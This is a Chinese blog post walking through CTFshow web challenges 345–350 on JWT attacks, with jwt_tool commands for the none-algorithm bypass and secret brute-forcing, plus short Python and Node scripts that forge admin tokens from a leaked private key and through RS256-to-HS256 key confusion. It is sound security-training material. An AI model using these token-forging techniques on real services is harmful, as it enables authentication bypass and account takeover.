CTFshow-Web入门模块-JWT-web345-web350

 

 识别jwt

image.png

解析JWT数据

JWT在线解析:https://jwt.io/

image.png

 

jwt利用工具

https://github.com/ticarpi/jwt_tool

项目命令帮助

# 使用None算法
python3 jwt_tool.py JWT_HERE -X a

# 自定义修改生成
python3 jwt_tool.py JWT_HERE -T

# 使用字典破解
python3 jwt_tool.py JWT_HERE -C -d dictionary.txt

# 指定密码测试
python3 jwt_tool.py JWT_HERE -C -p password_here

image.png

 

Web345(None空加密算法)

空加密算法(攻击头部不使用加密)

签名算法可被修改为none,JWT支持将算法设定为"None"。如果"alg"字段设为"None",那么签名会被置空,这样任何token都是有效的。

image.png

签名算法可被修改为none,JWT支持将算法设定为 "None" 。如果 "alg" 字段设为 "None" ,那么签名会被置空,这样任何token都是有效的。

开启靶场:

image.png

抓包看下,可以看到是jwt加密,而且提示flag在/admin目录下

image.png

把这个jwt放到官网解密下,可以看到是 None空加密算法

image.png

这里只需要改一下sub为admin即可。

注意:由于这里是空加密,所以只有两部分组成,少了签名这一部分,所以只需要经过base64更改即可。

image.png

把处理好的jwt替换一下,目录改为admin即可

image.png

 

Web346(None算法绕过签名)

某些服务端并未校验JWT签名,可以尝试修改payload后然后直接请求token或者直接删除signature再次请求查看其是否还有效。

image.png

这里使用了HS256加密方式,方法:alg字段改为none,sub改为admin,对每一段分别用base64进行加密,然后用.拼接起来,注意最后一个点不能少

这里可以直接使用jwt工具改,也可以用插件来修改,但是官网修改不了

先用工具查看下

python3 jwt_tool.py JWT_HERE

image.png

使用工具对alg和sub进行修改

# 自定义修改生成

python3 jwt_tool.py JWT_HERE -T

image.png

根据需要进行更改即可

image.png

修改完成之后会重新生成jwt

image.png

 

Web347(弱口令密钥获取)

针对是对称加密算法(非对称没有用)

非对称要使用方法:获取源码或者公钥私钥文件

某些签名算法,例如HS256(HMAC+SHA-256),会像密码一样使用一个任意的、独立的字符串作为秘密密钥。这个秘钥如被轻易猜到或暴力破解,则攻击者能以任意的头部和载荷值来创建JWT,然后用密钥重新给令牌签名。

 

还是一样,直接用上面的工具来爆破

# 使用字典破解

python3 jwt_tool.py JWT_HERE -C -d dictionary.txt //-C 使用爆破模式 -d自定义爆破字典

image.png

# 指定密码测试

python3 jwt_tool.py JWT_HERE -C -p password_here //-p来验证是否正确

image.png

知道密码之后,到官网重新生成即可

image.png

 

image.png

 

Web348(爆破密钥上题一样)

image.png

Web349(公钥私钥泄露)

下载js源码

image.png

如果这样看不舒服,可以放到编辑器里面看

image.png

分析代码可以知道,这个就是相当于网站中泄露的加密方式,并且也给出了公钥私钥地址。访问/private.key、/public.key得到公钥密钥,因为我们要构造jwt,所以我们这里只需要私钥即可。

访问如下内容,下载私钥。

https://39ac484d-fda7-4fd5-8a7b-a15400ed2d5c.challenge.ctf.show/private.key

image.png

源码中私钥生成jwt,利用公钥解密jwt,只要有私钥就可以重新生成JWT

test.py

import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))

  

运行如下代码得先安装两个库:

pip install jwt
pip install pyjwt

image.png

然后将jwt替换到cookie中即可,需要注意的是,这里还需要更改请求方式及目录内容。

image.png

通过以下代码可以发现,请求方式和目录。

image.png

Web350(密钥混淆攻击RS256=>HS256)

下载源码后使用编辑器打开

image.png

 

image.png

将RS256算法改为HS256(非对称密码算法=>对称密码算法)

HS256算法使用密钥为所有消息进行签名和验证。

而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证。

test.js

var jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('./public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

image.png

剩下的就和上题一样了。

 

posted @ 2025-01-20 14:34  lx20220922  阅读(914)  评论(0)    收藏  举报